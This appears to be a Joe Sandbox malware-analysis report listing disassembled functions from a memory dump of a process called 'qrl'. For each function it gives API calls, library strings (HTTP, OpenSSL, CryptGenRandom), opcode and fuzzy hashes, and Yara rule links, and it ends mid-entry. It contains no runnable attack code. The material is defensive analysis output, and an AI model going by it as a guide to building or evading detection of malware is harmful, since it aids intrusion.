The file name argument '%s' looks like a flag., xrefs: 00DC5DC3
no-, xrefs: 00DC5A42

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlenstrncmp
String ID: The file name argument '%s' looks like a flag.$no-
API String ID: 1310274236-2306055927
Opcode ID: d8eb3d72026742b1b0edab3b5f94bb2dbd1d8313309ed5c8ff8f9f9005a8c082
Instruction ID: 61f268ce48d61119ed831c34ccc9988be29b2cd46bb416d2a3d3147d4380c3c6
Opcode Fuzzy Hash: d8eb3d72026742b1b0edab3b5f94bb2dbd1d8313309ed5c8ff8f9f9005a8c082
Instruction Fuzzy Hash: EED14CB59083418FD321CF14D488BDABBE1FBC5304F188A6EE8899B355D772A946CF52

Function 00DE33B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DE33CD
strlen.MSVCRT ref: 00DE3472

Strings

Content-Type, xrefs: 00DE34A2

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: Content-Type
API String ID: 39653677-2058190213
Opcode ID: 6c3786e9f67189cae1633112717b2524e77ac91bb29ef3316e67cb590e3a2a66
Instruction ID: eb49db841ad702f58d6019de28ff6bd712e70980ca694fcd6374f889cf4177ec
Opcode Fuzzy Hash: 6c3786e9f67189cae1633112717b2524e77ac91bb29ef3316e67cb590e3a2a66
Instruction Fuzzy Hash: 9F41F5B2A003508BEB25EF56D8C8B26B7A5AF94714F0E4078DD485B386E775EE04C7A1

Function 00DD7D8F Relevance: 5.4, Strings: 4, Instructions: 391COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
7, xrefs: 00DD865C
Internal error clearing splay node = %d, xrefs: 00DD8AD1
Re-used connection seems dead, get a new one, xrefs: 00DD7DD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: *$7$Internal error clearing splay node = %d$Re-used connection seems dead, get a new one
API String ID: 39653677-2891390500
Opcode ID: cf755221900da559a18ecf0a77c73c63e161f20e3645bcd76b935195ce98f12f
Instruction ID: b1e1354c1ebc4d722a61c1690f6606e4413b7ce929f7b7d91a6b5b4a78661766
Opcode Fuzzy Hash: cf755221900da559a18ecf0a77c73c63e161f20e3645bcd76b935195ce98f12f
Instruction Fuzzy Hash: 7EE17EB1604300DFE7229B18D885B6B73E4EF45304F18486AF9898B391EB71ED44DB72

Function 00DE8AE0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00DD1C39,OpenSSL/1.1.1a (Schannel),00000050,00DCEECE,00000004,?,?,?,00DC8BA3), ref: 00DE8B9B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?,?,?,?,?,00DD1C39,OpenSSL/1.1.1a (Schannel),00000050,00DCEECE,00000004,?,?,?,00DC8BA3), ref: 00DE8BAF

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00DE8B0E, 00DE8B15, 00DE8B46, 00DE8B74, 00DE8B95, 00DE8BA9

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 91f63b3c2e6ef59723584efc98a191050a012b1fa221156f965b9a11d2b1a82c
Instruction ID: ee73a956d07b2404158929013894271844fed38a6b48b3ea70f78936e5ac330d
Opcode Fuzzy Hash: 91f63b3c2e6ef59723584efc98a191050a012b1fa221156f965b9a11d2b1a82c
Instruction Fuzzy Hash: 06210AF4744285AFC338DEA9E9D0765F7A4F755310F28016CE594C7608D7A5AC4083B1

Function 00DE8BD0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A), ref: 00DE8C8B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?), ref: 00DE8C9F

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00DE8BFE, 00DE8C05, 00DE8C36, 00DE8C64, 00DE8C85, 00DE8C99

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 91f63b3c2e6ef59723584efc98a191050a012b1fa221156f965b9a11d2b1a82c
Instruction ID: 276fea031c76ce614262265d93cf469db70d259de232522439fcd6eea31d3cb1
Opcode Fuzzy Hash: 91f63b3c2e6ef59723584efc98a191050a012b1fa221156f965b9a11d2b1a82c
Instruction Fuzzy Hash: 5D21F8B46452859FC3289F79E9C0765F7B4F756300F280568E689D7608D7A9AC4083B1

Function 00DE9BC0 Relevance: 4.5, APIs: 3, Instructions: 29encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00DE9BD7
CryptGenRandom.ADVAPI32(?,?,?,?,00000000,00000000,00000001,F0000040), ref: 00DE9BED
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000,00000000,00000001,F0000040), ref: 00DE9C00

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: edca25620961947846ac4ec4e0213422c1ecc2261203c6d5d21ba51f793b079c
Instruction ID: de984ac843e882e5bd7aa0b67df35fc82445e6f4864e9c92fde045f3f758ab83
Opcode Fuzzy Hash: edca25620961947846ac4ec4e0213422c1ecc2261203c6d5d21ba51f793b079c
Instruction Fuzzy Hash: 71F09270344301BBEB202F61DD89B07BAE5BB44784F240438F681D91E4D3B7D898EB15

Function 00DD7A9B Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1
Forcing HTTP/1.1 for NTLM, xrefs: 00DD7F80

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Forcing HTTP/1.1 for NTLM$Internal error clearing splay node = %d
API String ID: 0-4157828289
Opcode ID: 3ab9cc35192ef5f1d02268a940238b3c868a835528d795183ca4fc277267fb1b
Instruction ID: 49a10341744c0522adab30ff3f670cb4ad26c3239c33bc7cfc0956aaa4fb6c0a
Opcode Fuzzy Hash: 3ab9cc35192ef5f1d02268a940238b3c868a835528d795183ca4fc277267fb1b
Instruction Fuzzy Hash: 6AF1B3716047009FE7229F28DC45B6BB7E6EF84304F18482EF99987391EB31ED549B62

Function 00DD76C1 Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: c410e6d6e246359a0b44cfb8b7a55c71041414e312f1f617026d40bda184cb0c
Instruction ID: 720ddd4a22bb0423af13b8eff8f38d8a74048753872c19e48a9bb8af37699d3c
Opcode Fuzzy Hash: c410e6d6e246359a0b44cfb8b7a55c71041414e312f1f617026d40bda184cb0c
Instruction Fuzzy Hash: EDA1D1B1604600DFE7229F28DC41B6BB3E5EF41304F18492AE599873A1EB71EC54EB72

Function 00DD7BAC Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD824B, 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 0224c8735a280a11765d1efde4e879d6cc47fa06738e8af77bd9a5aaa608bd4c
Instruction ID: 84dec12885c9b873e70fa70cf100e77705de60e7d55096cfef90a09f5a93673e
Opcode Fuzzy Hash: 0224c8735a280a11765d1efde4e879d6cc47fa06738e8af77bd9a5aaa608bd4c
Instruction Fuzzy Hash: 78B1DF71604700DFE7269F28D845B6AB3E5FF41314F08482AE99997391EB71EC44EB72

Function 00DD774F Relevance: 2.8, Strings: 2, Instructions: 258COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1
Hostname '%s' was found in DNS cache, xrefs: 00DD84B3

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Hostname '%s' was found in DNS cache$Internal error clearing splay node = %d
API String ID: 0-2944650772
Opcode ID: d61f3ac43bbbc85cb8a5542a69956e230251a2a1c0751630b4f4392f3d8950ba
Instruction ID: d80c1afc28e0ecff0ed14604dc9801ec0bfb8916f59f19fe4942ebcddf81d414
Opcode Fuzzy Hash: d61f3ac43bbbc85cb8a5542a69956e230251a2a1c0751630b4f4392f3d8950ba
Instruction Fuzzy Hash: FE91DD71604700DFD726DF28D841B6AB3E5FF41304F08492AE599973A1EB31E954EB72

Function 00DD7771 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 098634afb5187cd08c6acdbcb5ae37a301ba06a2619a511e6770421dac6f13ce
Instruction ID: e27be19a3a9bae6f4d7d1371951a6d3ebd6ec005b8c39b6b2d55e1f35a545c61
Opcode Fuzzy Hash: 098634afb5187cd08c6acdbcb5ae37a301ba06a2619a511e6770421dac6f13ce
Instruction Fuzzy Hash: 1E81A071604300DFE7269F18D841B6A73E5FF41314F08496AE9998B3A1EB71EC54EB72

Function 00DD7B8D Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1
*, xrefs: 00DD7B95

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 8defffb0a52de0ec4bdfed1b8415740c3bc510da9f69304ec6e77c6210f0006a
Instruction ID: a5b484eae66787aa8b681e971d9460e6a8f0a15dcf4b1fe93a9b069162a7c6ea
Opcode Fuzzy Hash: 8defffb0a52de0ec4bdfed1b8415740c3bc510da9f69304ec6e77c6210f0006a
Instruction Fuzzy Hash: B4819071604700AFE7269F28DC41B6BB7E5EF54304F08492AF59987361EB32E854AB72

Function 00DD79B7 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 28461aaad23921badefd21c322ee19bac9def774279e8c15705ff65d2a706280
Instruction ID: 50b4339c08a7b1f74ca1a1284cb245909a4964a3ee18c037e52578d0beb54b6d
Opcode Fuzzy Hash: 28461aaad23921badefd21c322ee19bac9def774279e8c15705ff65d2a706280
Instruction Fuzzy Hash: A481F271604300DFE3259F28D845B6A73E5FF41318F08496AE9998B3A2EB71ED54DB32

Function 00DD7924 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 07294abcdf8f6c99209f0a2c6e5e047d26ba7a295179ad53bea8ff3ac9d4da23
Instruction ID: 85fc537fe8ccf16f657266f46c46039c13d25c41fc259653beb78e881fa342fc
Opcode Fuzzy Hash: 07294abcdf8f6c99209f0a2c6e5e047d26ba7a295179ad53bea8ff3ac9d4da23
Instruction Fuzzy Hash: A881E071604300DFE7259F28D841B6BB3E5EF41314F18492AF99A87391EB71EC54AB72

Function 00DD7828 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 0d012a5698e98d33161e346c2659323efd6fc55cca90f0e1e16f8e50c58a54db
Instruction ID: b8db5c002f4dcad4b864e2df58dbba02c30157bde22c87f084aaee4f7f0b4f0e
Opcode Fuzzy Hash: 0d012a5698e98d33161e346c2659323efd6fc55cca90f0e1e16f8e50c58a54db
Instruction Fuzzy Hash: 41719F71604300DFE7259E28D845B6AB3E5FF41304F18482AE99A8B391EB71ED54EB72

Function 00DD77E7 Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 242a9ea7fe3ba6a4c9c35c384d953c60a9847ef8a54a5c0b91af8a2792fab593
Instruction ID: d7de45d3736fad333c2490471680575f0fd0fdad7d673f8f1a2fcb141ad5e628
Opcode Fuzzy Hash: 242a9ea7fe3ba6a4c9c35c384d953c60a9847ef8a54a5c0b91af8a2792fab593
Instruction Fuzzy Hash: 1671E171604700CBE7269F28D845B6B73E5EF41314F18492AE9998B3A1EB71FC44EB72

Function 00DD78AB Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

